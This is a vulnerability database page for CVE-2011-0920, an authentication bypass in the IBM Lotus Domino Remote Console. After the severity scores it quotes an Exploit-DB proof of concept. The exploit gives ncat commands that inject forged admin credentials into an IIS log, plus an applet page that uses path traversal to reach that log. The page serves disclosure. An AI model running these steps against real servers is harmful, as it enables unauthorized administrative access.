CVE-2011-0920 : Detail

CVE-2011-0920

Authorization problems
A07-Identif. and Authent. Fail
1.38%V3
Network
2011-02-08
21h00 +00:00
2024-09-17
00h02 +00:00
CVE.org
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CVE Descriptions

The Remote Console in IBM Lotus Domino, when a certain unsupported configuration involving UNC share pathnames is used, allows remote attackers to bypass authentication and execute arbitrary code via unspecified vectors, aka SPR PRAD89WGRS.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18179

Publication date : 2011-11-29 23h00 +00:00
Author : Alexey Sintsov
EDB Verified : Yes

# Exploit Title: IBM Lotus Domino Controller auth. bypass # Date:30/11/2011 # Author: Alexey Sintsov # Software Link: http://www.ibm.com/ # Version:8.5.3/8.5.2 FP3 (0day) # Tested on: Windows 7 / Windows 2008 # CVE : CVE-2011-1519 Application: IBM Lotus Domino Controller Versions Affected: <=8.5.2 FP3, <=8.5.3 Manager 4.0 prior to Update 4 (0day) Vendor URL: http://ibm.com Bug: own XML parser CVE: CVE-2011-1519 CVSS2: 9.0 Exploits: YES Reported:2010-09-23 via ZDI Date of Public Advisory: 2011-03-22 Authors: Alexey Sintsov Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com) This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug, but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day. Details you can read there: http://dsecrg.com/pages/pub/show.php?id=41 EXPLOIT: 1. Make port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050 2. Inject XML into IIS log file (for an example) ncat targethost 49152 GET /<user HTTP/1.0\r\n\r\n ncat targethost 49152 GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0\r\n\r\n (\r\n\r\n) ENTER two times 8) 3.Run this from local web-server (dconsole.jar - IBM Lotus Domino Console applet) <html> <body> <script> function onLoadConsole() { alert("Connected"); } </script> <applet name = "DominoConsole" code = "lotus.domino.console.DominoConsoleApplet.class" codebase = "http://127.0.0.1/domjava/" archive = "dconsole.jar" width = "100%" height = "99%" > <PARAM NAME="debug" VALUE="true"> <PARAM NAME="port" VALUE="2050"> <PARAM NAME="useraddress" VALUE="http://twitter/asintsov"> <PARAM NAME="username" VALUE="admin"> <PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log"> <PARAM NAME="cookievalue" VALUE="pass"> <PARAM NAME="onLoad" VALUE="onLoadConsole"> </applet> </body> </html>

Products Mentioned

Configuraton 0

Ibm>>Lotus_domino >> Version *

References